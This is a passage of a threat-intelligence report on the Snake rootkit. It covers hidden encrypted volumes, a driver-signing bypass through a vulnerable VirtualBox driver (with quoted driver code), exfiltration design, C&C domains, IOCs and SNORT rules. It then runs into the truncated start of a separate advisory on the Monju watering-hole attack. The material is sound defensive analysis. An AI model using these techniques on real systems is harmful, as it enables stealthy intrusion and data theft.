03/02/2014        01:57 PM                    210,944 fdisk.sys
13/02/2014        04:47 PM              104,857,600 hotfix.dat
2 File(s)          105,068,544 bytes
2 Dir(s)        8,406,433,792 bytes free
Analysis of the hotfix.dat file contents reveals it’s a fully encrypted file with flat entropy.
Thus, it is not possible to reveal the
contents of the Snake’s volume by accessing the contents of this file (unless the encryption is broken, that is).
Enlisting the contents of the created volume is possible, along with creating files on it:
C:\>echo Test > \\.\Hd1\Test.txt
C:\>type \\.\Hd1\\Test.txt
Test
C:\>dir \\.\Hd1\\
Volume in drive \\.\Hd1 has no label.
Volume Serial Number is BA9B-99E8
Directory of \\.\Hd1
14/02/2014        02:22 PM                             7 Test.txt
1 File(s)                         7 bytes
0 Dir(s)                          0 bytes free
BAE Systems Applied Intelligence: Snake Rootkit Report 2014             20
However, as soon as IofCallDriver() hook is removed, the same ‘dir’ command will fail, as with no hook the rootkit cannot
decrypt the scrambled volume:
C:\>dir \\.\Hd1\\
Incorrect function.
The second volume \\.\Hd2 is not mapped to a file, so when a computer is switched off, its contents is lost.
Thus, it could be
used as a temporary or a cache storage.
The data stored in \\.\Hd2 is encrypted the same way the first volume’s data.
Both volumes appear to be set up as FAT volumes.
An attempt to read the data from these volumes with the code below:
01         HANDLE hDisk = CreateFile(“\\\\.\\Hd1”,
02         			                       GENERIC_READ,
03         			                       FILE_SHARE_READ,
04         			                       NULL,
05         			                       OPEN_EXISTING,
06         			                       0,
07         			                       NULL);
08         BYTE lpBuffer[16384];
09         DWORD dwBytes;
10         if (hDisk)
11         {
12         	      ReadFile(hDisk, lpBuffer, 16384, &dwBytes, NULL);
13         	      // inspect the buffer
14         	CloseHandle(hDisk);
15         }
This will produce the following results:
For \\.\Hd1:
0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F    0123456789ABCDEF
00000000     EB   00   00   00   00   00   00   00   00   00   00   00   02   04   02   00   ................
00000010     02   00   02   00   00   F8   C8   00   20   00   02   00   01   00   00   00   ........ .......
00000020     FF   1F   03   00   80   00   29   E8   99   9B   BA   4E   4F   20   4E   41   ......)....NO NA
00000030     4D   45   20   20   20   20   46   41   54   31   36   20   20   20   00   00   ME    FAT16   ..
00000040     00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   ................
For \\.\Hd2:
0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F    0123456789ABCDEF
00000000     EB   00   00   00   00   00   00   00   00   00   00   00   02   01   02   00   ................
00000010     02   00   02   FF   7F   F8   7F   00   20   00   02   00   01   00   00   00   ........ .......
00000020     00   00   00   00   80   00   29   E8   99   9B   BA   4E   4F   20   4E   41   ......)....NO NA
00000030     4D   45   20   20   20   20   46   41   54   31   36   20   20   20   00   00   ME    FAT16   ..
00000040     00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   ................
The ability to keep its data on TrueCrypt-like volumes provides Snake with a powerful ability to exchange data with the usermode
DLL, as these volumes are accessible both from usermode and kernel mode.
Static analysis of the code reveals that the Snake driver uses virtual volumes to store its data and additional files on it.
For example, it stores its message queue in a file called:
\.\\Hd1\queue
The message queue indicates an asynchronous communication model between kernel mode driver and a usermode DLL,
e.g.
to pass commands, configuration parameters, binary images of additional Snake components.
Other files that may also be found on the virtual volume are: klog, conlog, dump, rkng_inst.exe,
where rkng_inst.exe could be the name of the original dropper, and other log files could potentially contain executed command
outputs, intercepted keystrokes, and other output logs.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   21
64-BIT EDITIONS OF WINDOWS
The 64-bit version of Snake must deal with a number of additional security protections implemented in 64-bit editions of Microsoft
Windows, the most significant of which are kernel driver signature validation and Kernel Patch Protection (more commonly known as
PatchGuard).
PatchGuard is a feature of 64-bit Windows which aims to prevent modification of the Windows kernel, something that is often
performed by malware attempting to hide itself on an infected system.
Although PatchGuard is successful at preventing kernel
patching once initialised, several published bypass approaches exist4,5.
The technique used by Snake appears to be similar to these
approaches.
The driver signing policy enforced by all 64-bit versions of Windows from Vista onwards requires all kernel-mode drivers to be signed
with a valid digital signature.
The Snake dropper contains both 32-bit and 64-bit unsigned drivers, and it can successfully load its
unsigned 64-bit driver on a 64-bit version of Windows XP – as driver signing is not enforced it does not have to resort to any tricks
under this OS version.
In this case, in order to ensure the driver is loaded automatically at startup, the dropper can install the 64-bit
driver on 64-bit Windows XP in the same way it installs a 32-bit driver on a 32-bit version of Windows XP.
On 64-bit versions of Windows Vista and above it behaves differently.
Firstly, the 64-bit unsigned driver file is created as usual:
%windows%\$NtUninstallQ817473$\fdisk.sys
However, the driver is not registered; what is registered instead is the dropper itself.
To do that, the dropper first copies itself as:
%windows%\$NtUninstallQ817473$\fdisk_mon.exe
The dropper then registers itself as a service to ensure it starts every time Windows is booted, by creating the values:
ErrorControl = 0
Type = 16
Start = 2
ImagePath = ”%SystemRoot%\$NtUninstallQ817473$\fdisk_mon.exe
ObjectName = ”LocalSystem”
WOW64 = 1
in the registry key:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Ultra3
Now comes the most interesting part: does the dropper manage to load its 64-bit unsigned driver under 64-bit versions of Windows
Vista and later versions, such as 64-bit Windows 7/8?
The answer: Yes, it does.
Does it resort to using bootkit technology, which has been used in the past to bypass protections to load unsigned 64-bit drivers?
The answer: No.
Bootkits must overwrite the Master Boot Record (MBR) and antivirus products are well trained to catch that kind of
bad behavior.
The masterminds behind Snake rootkit seem to be well aware of this so what they resorted to instead is leveraging a vulnerability
in a well-known virtualization product called VirtualBox, a product made by Oracle which is widely used by researchers to analyse
malware.
VirtualBox driver version 1.6.2 was released in June 2, 2008.
Two months later, in August 2008, security researchers
reported that its main driver component, which is signed under the entity “innotek Gmbh”, contained a privilege escalation
vulnerability6.
In a nutshell, the VirtualBox software installs a driver called VBoxDrv.
The driver is controlled with the Input/Ouput Control Codes
(32-bit values called IOCTL) passed along DeviceIoControl() API.
One of the documented transfer methods that the system
uses to pass data between the caller of DeviceIoControl() API and the driver itself is called METHOD_NEITHER.
As per MSDN documentation7, METHOD_NEITHER is a special transfer type when Input/Output Request Packet (IRP) supplies the
user-mode virtual addresses of the input and output buffers, without validating or mapping them.
4
http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3
5
http://uninformed.org/index.cgi?v=3&a=3&p=17
6
http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability
7
http://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(v=vs.85).aspx
BAE Systems Applied Intelligence: Snake Rootkit Report 2014              22
It is the responsibility of the driver to validate the addresses sent from user mode in order to make sure those addresses are valid
usermode addresses.
The source code of the vulnerable driver (shown below) demonstrates how the integer value of the rc variable is first derived from
the input parameters pDevObj (device object) and pIrp (request packet).
Next, that integer value is written into the UserBuffer - an
arbitrary address, pointed by the input parameter pIrp (request packet).
As there are no validations made for the UserBuffer an
attacker can craft such input parameters that will define address within kernel memory to patch and the data to patch it with:
01     /**
02       * Device I/O Control entry point.
03       *
04       * @param   pDevObj     Device object.
05       * @param   pIrp        Request packet.
06       */
07     NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
08     {
09         PSUPDRVDEVEXT       pDevExt = (PSUPDRVDEVEXT)pDevObj->DeviceExtension;
10         PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
11         PSUPDRVSESSION      pSession = (PSUPDRVSESSION)pStack->FileObject->FsContext;
12
13         ULONG ulCmd = pStack->Parameters.
DeviceIoControl.
IoControlCode;
14
15         if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
16           || ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
17           || ulCmd == SUP_IOCTL_FAST_DO_NOP)
18         {
19            int rc;
20     	         ...
21            rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
22
23     	          //   supdrvIOCtlFast() function itself will return:
24     	          //   pDevExt->pfnVMMR0EntryFast(pSession->pVM, SUP_VMMR0_DO_NOP);
25     	          //   the function depends pDevExt and pSession, which in turn
26     	          //   are derived from the input parameters pDevObj and pIrp
27                //   therefore, rc value can be manipulated
28             __try
29             {
30                                                           // save the manipulated rc value back into
31                *(int *)pIrp->UserBuffer = rc;             // the input parameter (the address to patch)
32             }
33             __except(EXCEPTION_EXECUTE_HANDLER)
34             {
35                ...
36             }
37         }
38     }
Now that the vulnerable driver can be used as a weapon to patch kernel memory, all the malware needs to do is to patch the content
of the variable nt!g_CiEnabled, a boolean variable “Code Integrity Enabled” that marks whether the system was booted in
WinPE mode.
When running in WinPE mode there is no Code Integrity control, therefore by enabling this mode by patching only one bit,
Code Integrity verification is disabled so that the unsigned 64-bit driver can be loaded.
This variable is used within the function SepInitializeCodeIntegrity(), implemented within CI.dll’s function
CiInitialize() and imported by the NT core (ntoskrnl.exe).
In order to find the variable in kernel memory, the Snake
dropper loads a copy of the NT core image (ntoskrnl.exe), locates the import of CI.dll’s function CiInitialize(), and then
SepInitializeCodeIntegrity() within it.
Then it parses the function’s code to locate the offset of the variable.
Once located, the content of the variable nt!g_CiEnabled is patched in kernel memory and the 64-bit unsigned driver is loaded.
This explains why Snake dropper registers itself as a service to start each time Windows starts: in order to install the vulnerable
VBox driver first, then pass it a malformed structure to disable Code Integrity control with a DeviceIoControl() API call, and
finally, load the driver.
In order to be able to perform the steps above, the dropper must first obtain Administrator privileges.
It attempts to do this by
running MS09-025 and MS10-015 exploits on the target system.
These exploits are bundled within the dropper in its resource
section as executable files.
Other resources embedded within the dropper are the 32-bit and 64-bit builds of its driver, a tool for
creating NTFS file systems, and the initial message queue file which is written into the virtual volume.
The message queue file
contains configuration data and the libraries that will be injected into usermode processes.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014            23
USERMODE DLLS
The usermode DLLs injected by the kernel-mode driver into the userland system process (e.g.
explorer.exe) are:
•	     32-bit Windows OS:
•	 rkctl_Win32.dll
•	 inj_snake_Win32.dll
•	     64-bit Windows OS:
•	 rkctl_x64.dll
•	 inj_snake_x64.dll
The rkctl_Win32.dll/rkctl_x64.dll module uses the following hard-coded named pipe for communications:
\\.\pipe\services_control
The remote commands it receives appear to be designed to control other components of Snake:
•	     tc_cancel                                                 •	    tc_free_data
•	     config_read_uint32                                        •	    tc_get_reply
•	     tr_free                                                   •	    tc_read_request_pipe
•	     tr_alloc                                                  •	    tc_send_request_bufs
•	     tc_send_request                                           •	    t_close
•	     tr_write_pipe                                             •	    tc_socket
•	     snake_modules_command                                     •	    snake_free
•	     t_setoptbin                                               •	    snake_alloc
The inj_snake_Win32.dll/inj_snake_x64.dll module exports 61 functions.
It is designed to perform the high-level tasks
such as:
•	     manage the configuration data (by using a queue)
•	     exfiltrate data by using Windows Internet (WinINet) APIs or Windows Sockets 2 (Winsock) APIs:
•	   communicate with the C&C server and receive commands to execute
•	   submit logs to the C&C server and other reports
When the DLL activates, it reads configuration parameters from the configuration queue, that the driver creates on a virtual volume.
One of the parameters defines the pipe name(s) that the DLL should use for its communications.
The remote commands received by this Snake DLL module are designed to set up various communication parameters:
•	    http_log                                                •	    redir_str
•	    http_no_pragma_cache                                    •	    http_max_opt
•	    http_no_accept                                          •	    http_option
•	    proxy_useragent                                         •	    http_uri
•	    proxy_bypass                                            •	    no_server_hijack
•	    proxy_server                                            •	    imp_level
•	    proxy_discover                                          •	    net_password
•	    proxy_passwd                                            •	    net_user
•	    proxy_user                                              •	    write_peer_nfo
•	    check_inet                                              •	    read_peer_nfo
To post the data, the DLL can use the following User-Agent string “Mozilla/4.0 (compatible; MSIE 6.0)”.
It may rely on the following Internet Media types (MIME types) for data exfiltration:
•	     application/x-shockwave-flash                           •	    image/gif
•	     image/pjpeg                                             •	    application/msword
•	     image/jpeg                                              •	    application/vnd.ms-excel
•	     image/x-xbitmap                                         •	    application/vnd.ms-powerpoint
Request type it uses can either be POST of GET, and C&C server resource name is /default.asp.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014        24
RECONNAISSANCE TOOL
One of the Snake components that could have been downloaded from a remote C&C server, was identified as a network
reconnaissance tool.
When run as a command line tool, with its logic defined with the command line switches, this tool enumerates other network hosts
and detects what Windows RPC services are enabled at the endpoints.
It carries a list of interface identifiers associated with
the named pipes.
It then uses these identifiers to write a message to and read a message from the associated named pipes.
By
knowing what RPC services are running, it can successfully fingerprint all network hosts by mimicking the Metasploit’s logic of OS
fingerprinting via SMB.
The fingerprinting allows it to reveal the following characteristics for each host found in the network:
•	   the version of the operating system
•	   version of the service pack
•	   the installed network services
The data it retrieves is encrypted and saved into a configuration file %system%\vtmon.bin.
This file is then further encrypted with
an NTL-based (Number Theory Library) algorithm and is uploaded by the usermode-centric Snake rootkit to the C&C server, along
with other configuration files, such as mtmon.sdb, mtmon32.sdb, gstatsnd.bin, gstat.bin, gstat32.bin, and other log
files found in the %windows%\$NtUninstallQ[random]$ directory.
By using this function the remote attacker can identify any potentially exploitable hosts located in the same network as the victim.
The attacker may then craft an exploit against those hosts, possibly by using the Metasploit framework, and then deliver the
generated shellcode back to the reconnaissance tool to be applied against the identified hosts by running the tool with the
‘exp_os’ switch.
If the tool successfully delivers the payload and exploits the remote host(s), it will replicate the infection across the network, taking
control over new hosts, thus repeating the infection cycle all over again and spreading the infection further.
Unlike traditional worm
techniques, this process is rather manual, but its danger is in the fact that the attacker can flexibly craft new attack methods,
adjusting them to the hosts present within the network, thus preying on the weakest (least updated, most vulnerable) victims along
its path.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014            25
RELATIONSHIP TO AGENT.BTZ
As seen from the check-in logs found within one of the recent samples, the time span covers almost 6 years from January 2007 till
December 2012, which is aligned with the first reports of Agent.BTZ.
It’s worth noting that Agent.BTZ used the same XOR key for its
logs as the most recent variants:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s
Log files created by the latest samples of Snake, compiled in 2013 and 2014, were successfully decrypted with the same XOR key.
Other similarities include the usage of the virtual partition \\.\Vd1, the temporary file named FA.tmp, usage of files named
mswmpdat.tlb, wmcache.nld, winview.ocx.
CONCLUSION
The cyber-espionage operation behind the Snake rootkit is well established, a sample comiled in January 2006 indicates that
the activity would have begun in at least 2005.
It is also sophisticated, using complex techniques for evading host defences and
providing the attackers covert communication channels.
Toolmarks left behind by the authors ‘vlad’ & ‘gilg’, leave tantalizing clues
as to the personas behind this.
From a technical perspective, Snake demonstrates two very different approaches to the task of building a cyber-espionage toolkit.
One approach is to delegate the network communication engine to usermode code, backed up by a usermode rootkit.
Another
approach is to carry out all of the communications from the kernel-mode driver, which is a very challenging task by itself.
The complexity of the usermode-centric approach is on par with Rustock rootkit - it uses similar techniques.
It’s an old well-polished
technology that evolved over the years and demonstrated its resilience and survivability under the stress of security counter-
measures.
The complexity of the kernel-centric architecture of Snake is quite unique.
This architecture is designed to grant Snake
as much flexibility as possible.
When most of the infected hosts are cut off from the outside world, it only needs one host to be
connected online.
The traffic is then routed through that host to make external control and data exfiltration still possible.
The presence of the reconnaissance tool in the Snake operators’ framework suggests the existence of an arsenal of infiltration
tools, designed to compromise a system, then find a way to replicate into other hosts, infect them, and spread the infection
even further.
As demonstrated, the backdoor commands allow Snake to provide remote attackers with full remote access to the
compromised system.
Its ability to hibernate, staying fully inactive for a number of days, makes its detection during that time very
difficult.
The analysed code suggests that even file system and registry operations can be delegated by an infected module to another
module in order to stay unnoticed by behaviour analysis engines of the antivirus products, and to overcome account restrictions of
the browser processes so that the injected module could still write into files and into the sensitive registry hives.
The logs and dumps it creates on the hidden virtual volumes contributes to its stealthiness too.
A great deal of attention has also
been given to keep its network communications as quiet as possible.
Its ability to generate malicious traffic whenever the user
goes online and start loading the web pages allows it to ‘blend in’ with the legitimate communications.
We expect much more will be uncovered by researchers in the coming weeks as the capabilities of this operation are further fleshed
out.
However, as we implied in the opening section, we view this threat to be a permanent feature of the landscape.
Whether they
dismantle this toolset and start from scratch, or continue using tools which have been exposed, remains to be seen.
For their
targets though the considerable challenge of keeping secrets safe on sensitive networks will certainly continue for years to come.
RECOMMENDATIONS
•	   Search logs for connections to Snake’s command and control servers (see Appendix A)
•	   Search for MD5 hashes of the known samples (see Appendix B)
•	   Use Indicators of Compromise for building host-based rules (see Appendix C)
•	   Deploy SNORT rules for network based detection of Snake (see Appendix D)
BAE Systems Applied Intelligence: Snake Rootkit Report 2014         26
APPENDIX A
Domain                        IP Address       Country     Contact Email             Nameserver
arctic-zone.bbsindex.com      124.248.207.50   HK          abuse@directnic.com       NS1.DTDNS.COM
cars-online.zapto.org         124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
eunews-online.zapto.org       124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
fifa-rules.25u.com            124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
forum.sytes.net               124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
franceonline.sytes.net        124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
freeutils.3utilities.com      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
health-everyday.faqserv.com   124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
nhl-blog.servegame.com        124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
olympik-blog.4dq.com          124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
pockerroom.servebeer.com      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
pressforum.serveblog.net      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
scandinavia-facts.sytes.net   124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
sportmusic.servemp3.com       124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
stockholm-blog.hopto.org      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
supernews.sytes.net           124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
sweeden-history.zapto.org     124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
tiger.got-game.org            124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
top-facts.sytes.net           124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
weather-online.hopto.org      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
wintersport.sytes.net         124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
x-files.zapto.org             124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
forum.4dq.com                 203.117.122.51   SG          abuse@web.com             NS1.CHANGEIP.ORG
forum.acmetoy.com             203.117.122.51   SG          abuse@web.com             NS1.CHANGEIP.ORG
marketplace.servehttp.com     59.125.160.178   TW          domains@no-ip.com          NF1.NO-IP.COM
music-world.servemp3.com      80.152.223.171   DE          domains@no-ip.com          NF1.NO-IP.COM
newutils.3utilities.com       80.152.223.171   DE          domains@no-ip.com          NF1.NO-IP.COM
interesting-news.zapto.org    80.152.223.171   DE          domains@no-ip.com          NF1.NO-IP.COM
north-area.bbsindex.com                                    abuse@directnic.com        NS1.DTDNS.COM
academyawards.effers.com                                   abuse@directnic.com        NS1.DTDNS.COM
cheapflights.etowns.net                                    abuse@directnic.com        NS1.DTDNS.COM
toolsthem.xp3.biz                                          support@freewha.com        NS2.FREETZI.COM
softprog.freeoda.com                                       support@freewha.com        NS1.ORGFREE.COM
euassociate.6te.net                                        support@freewha.com        NS1.6TE.NET
euland.freevar.com                                         support@freewha.com        NS1.UEUO.COM
communityeu.xp3.biz                                        support@freewha.com        NS2.FREETZI.COM
swim.onlinewebshop.net                                     abuse@enom.com             NS1.RUNHOSTING.COM
july.mypressonline.com                                     abuse@enom.com             NS1.RUNHOSTING.COM
winter.site11.com                                          abuse@godaddy.com          NS1.000WEBHOST.COM
eu-sciffi.99k.org                                          report@abuse.zymic.com NF1.99K.ORG
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   27
APPENDIX B
MD5 Hash                            File Type          FileSize Compile Time               Notes
Kernel-centric architecture
f4f192004df1a4723cb9a8b4a9eb2fbf    32-bit driver      206 KB      2011-06-24 07:49:41 fdisk.sys, Ultra3.sys
626576e5f0f85d77c460a322a92bb267 32-bit dropper 1,669 KB 2013-02-04 13:19:21 fdisk_mon.exe
90478f6ed92664e0a6e6a25ecfa8e395    64-bit driver      584 KB      2013-02-04 13:17:56 fdisk.sys, Ultra3.sys
1c6c857fa17ef0aa3373ff16084f2f1c    32-bit driver      219 KB      2013-02-04 13:20:00 fdisk.sys, Ultra3.sys
Usermode-centric architecture
973fce2d142e1323156ff1ad3735e50d    32-bit driver      673 KB      2013-08-29 07:34:54 msw32.sys,
cmbawt.sys
2eb233a759642abaae2e3b29b7c85b89 32-bit DLL            416 KB      2013-07-25 05:58:47 dropped DLL
Reconnaissance tool
c82c631bf739936810c0297d31b15519 32-bit exe            176 KB      2013-03-27 08:25:43 wextract.exe
Other analysed samples
f293c9640aa70b49f35627ef7fb58f15    32-bit exe         294 KB      2014-01-28 16:05:32 2014 sample
440802107441b03f09921138303ca9e9 32-bit driver         428 KB      2014-01-24 10:13:06 2014 sample
6406ad8833bafec59a32be842245c7dc    32-bit driver      277 KB      2013-03-29 07:51:34 Ultra3.sys,
Adaptec Windows Ultra3
Family Driver
c09fbf1f2150c1cc87c8f45bd788f91f    32-bit DLL         404 KB      2013-03-28 06:49:36 dropped DLL
mscpx32n.dll
5ce3455b85f2e8738a9aceb815b48aee    32-bit driver      280 KB      2013-03-29 07:44:26 Ultra3.sys,
Adaptec Windows Ultra3
Family Driver
b329095db961cf3b54d9acb48a3711da    32-bit DLL         412 Kb      2013-03-27 07:10:09 dropped DLL
kbdsmfno.dll
cfe0ef3d15f6a85cbd47e41340167e0b    32-bit dropper 363 KB          2012-12-18 08:22:47 mswint.exe,chset.exe
b86137fa5a232c614ec5405be4d13b37 32-bit DLL            223 KB      2012-12-18 08:22:43 libadcodec.dll
47f554745ef2a48baf3298a7aa2937e2    32-bit DLL         42 KB       2012-12-18 08:21:06 oleaut32.dll
ed785bbd156b61553aaf78b6f71fb37b    64-bit driver      435 KB      2011-06-24 07:47:59 A0009548.sys
1c18c3ef8717bb973c5091ce0bbf6428    32-bit exe         179 KB      2011-06-21 12:28:28 MSWAUDIT.EXE, utility
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   28
APPENDIX C
Location      Type            Data
Memory        Event
\BaseNamedObjects\{B93DFED5-9A3B-459b-A617-59FD9FAD693E}
\BaseNamedObjects\shell.
{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}
\BaseNamedObjects\wininet_activate
Memory        Device
\Device\RawDisk1
\Device\RawDisk2
\Device\vstor32
Memory        Antirootkit findings
unknown pages with executable code, that can't be mapped to any driver
presence of custom interrupt 0xC3 along with multiple hooks
hidden drivers Ultra3, ~ROOT, hidden file fdisk.sys
File system   Volume
\\.\Hd1
\\.\Hd2
\\.\vd1
Registry      Key
HKLM\System\CurrentControlSer\Services\Ultra3
HKLM\System\CurrentControlSer\Services\~ROOT
File system   File
%windows%\$NtUninstallQ[random]$\mtmon.sdb
%windows%\$NtUninstallQ[random]$\mtmon_.sdb
%windows%\$NtUninstallQ[random]$\scmp.bin
%windows%\$NtUninstallQ[random]$\ucmp.bin
%windows%\$NtUninstallQ[random]$\isuninst.bin
%windows%\$NtUninstallQ[random]$\mswmpdat.tlb
%windows%\$NtUninstallQ[random]$\wmcache.nld
%windows%\$NtUninstallQ[random]$\SPUNINST\Temp
%system%\vtmon.bin
%windows%\$NtUninstallQ817473$\hotfix.dat
%windows%\$NtUninstallQ817473$\fdisk.sys
%windows%\$NtUninstallQ817473$\fdisk_mon.exe
%windows%\$NtUninstallQ817473$\rkng_inst.exe
Memory        Named Pipe
\\.\Pipe\SP[COMPUTERNAME]
\\.\Pipe\UP[COMPUTERNAME]
\\.\Pipe\isapi_http
\\.\Pipe\isapi_log
\\.\Pipe\isapi_dg
\\.\Pipe\services_control
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   29
APPENDIX D
Canditate SNORT rules:
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”Snake rootkit, usermode-centric encrypted command from
server”; content:”|01 00 00 00 00 00 00 00|1dM3uu4j7Fw4sjnb”; content:”HTTP/1.1 200 OK”; flow:to_client, established;
sid:1000010;)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Snake rootkit, usermode-centric client request”; content:”/1/6b-
558694705129b01c0”; content:”Connection: Keep-Alive|0d 0a|”; flow:to_server,established; sid:1000011;)
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   30
FOR MORE INFORMATION CONTACT:
BAE Systems Applied Intelligence
E:	marketingai@baesystems.com
W:	www.baesysytems.com/ai
AUSTRALIA                            UK                                    US
Level 6                              Surrey Research Park                  265 Franklin Street
62 Pitt St                           Guildford                             Boston
Sydney NSW 2000                      Surrey, GU2 7RQ                       MA 02110
Australia                            United Kingdom                        USA
T: +61 (0) 1300 027 001              T: +44 (0) 1483 816000                T: +1 (617) 737 4170
MALAYSIA                             DUBAI
Unit 2B-12-1                         Dubai Internet City
Jalan Stesen Sentral 5               Building 17
Kuala Lumpur Sentral                 Office Ground Floor 53
Kuala Lumpur, 50470                  PO Box 500523
T: +603 2780 2052                    Dubai
T: +971 4369 4369
Copyright © BAE Systems 2014.
All rights reserved.
BAE SYSTEMS, the BAE SYSTEMS Logo and the product names referenced herein are trademarks of BAE
Systems plc.
BAE Systems Applied Intelligence Limited registered in England & Wales (No.1337451) with its registered office at
Surrey Research Park, Guildford, England, GU2 7RQ.
No part of this document may be copied, reproduced, adapted or redistributed
in any form or by any means without the express prior written consent of BAE Systems Applied Intelligence.
TLP: WHITE
Context Threat Intelligence
Threat Advisory
The Monju Incident
Context Ref.
TA10009
Author         Context Threat Intelligence (CTI)
Date           27/01/2014
Tel            +44 (0) 20 7537 7515
Fax            +44 (0) 20 7537 1071
Email          threat@contextis.co.uk
© Context Information Security
TLP: WHITE
E
TLP: WHITE
Contents
1 Distribution                                  3
2 Executive Summary                             4
3 The Monju Incident                            5
3.1 Infection Vector                           5
3.2 Malware                                    6
3.2.1 Overview                               6
3.2.2 Detection                              8
4 Appendix A – File Metadata                    9
TLP: WHITE    Page 2 / 11
TLP: WHITE
1 Distribution
Context Information Security distribute Context Threat Intelligence (CTI) reporting under
the Traffic Light Protocol (TLP)[1], a method of classifying a document in order to promote
the distribution of sensitive information between individuals, organisations or
communities in a controlled and trusted way, based on the originator’s wishes.
The various levels of the TLP are represented by the following colours:
RED - Personal; for named recipients only
Sources may use TLP: RED when information cannot be effectively acted upon by
additional parties, and could lead to impacts on a party's privacy, reputation, or
operations if misused.
Recipients may not share TLP: RED information with any parties outside of the specific
exchange, meeting, or conversation in which it is originally disclosed.
TLP: RED
information will be passed verbally or in person.
AMBER - Limited Distribution
Sources may use TLP: AMBER when information requires support to be effectively acted
upon, but carries risks to privacy, reputation, or operations if shared outside of the
organisations involved.
Recipients may only share TLP: AMBER information with members of their own
organisation who need to know, and only as widely as necessary to act on that
information.
GREEN – Community Wide
Sources may use TLP: GREEN when information is useful for the awareness of all
participating organisations as well as with peers within the broader community or sector.
Recipients may share TLP: GREEN information with peers and partner organisations within
their sector or community, but not via publicly accessible channels such as publication
or posting publicly on the Internet.
- Unlimited Distribution
Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of
misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP: WHITE information may be distributed freely,
without restriction.
1   http://www.oecd.org/dataoecd/25/10/40761118.pdf
TLP: WHITE                                        Page 3 / 11
TLP: WHITE
2 Executive Summary
On 2nd January 2014 a Systems Administrator at the Monju fast breeder reactor facility in
Japan noticed suspicious connections emanating from a machine in the control room,
coinciding with what was a seemingly routine software update to a free media player.
Among other items, staff training documents and more than 40,000 emails were stored
on the machine and thought to be harvested by the attacker.
The Japanese Atomic
Energy Agency is investigating further.
The attack appears to have been the result of the attackers having compromised the
‘GOM Player’ update server and having it act as a ‘watering hole’, meaning that
machines which access the site are delivered malware.
Gom Player originates in South
Korea and in some parts of Asia it is a popular alternative to Windows Media Player.
It is
unclear whether every machine trying to download an update received this malware or
whether only machines which fitted a certain profile were infected.
Technical analysis of the implant on the compromised machine has shown it to be a
variant of a Trojan which has been in the wild for some years now and continues to be
effective.
The ‘Gh0st RAT’ has been used extensively in attacks linked to the Chinese
state, though it is important to remember that the code is publicly available and can be
modified and used by anyone.
The targeting of a Japanese nuclear facility however, is
consistent with Chinese state intelligence requirements.
If this is the work of a Chinese
group then we feel the targeting may go much further than the Civil Nuclear sector and
thus be of interest to the wider Energy Sector and industry as a whole.
In order to inform the Energy Sector and beyond about this attack, we have compiled a
technical summary of the attack and have provided a number of Indicators Of
Compromise (IOCs) which can be used to aid detection.
It is likely that the attackers
would redeploy their implant against other targets, albeit with a delivery mechanism
more tailored to the location of the intended victims.
TLP: WHITE                                           Page 4 / 11
TLP: WHITE
3 The Monju Incident
3.1 Infection Vector
Based on open source reporting, it appears that the intrusion took place via the
compromise of the GOM Player update server (app.gomlab.com), where attackers
may have gained entry via a PHP-based webshell, hidden within an image, present on
the host since October 2011[2].
The observed malicious activity relates to the modification of a file that controls GOM
Player updates, spanning the date range 27th December 2013 to 16th January 2014,
during which time these alterations are reported to have only manifested themselves for
visitors on certain IP ranges; evidence supporting this claim has not yet been made
public.
If this was indeed the case, then the nature of this attack is certainly more
targeted than one that would cover the entire userbase of the GOM Player product,
with victims comprising of the Japanese Government in addition to those at the Monju
nuclear facility.
The modified file redirected the GOM Player update process to another compromised
server (www.fudousankaitori.jp (203.189.101.35)), where a file containing both the
legitimate update and the malware was deliver to the victim.
Modified
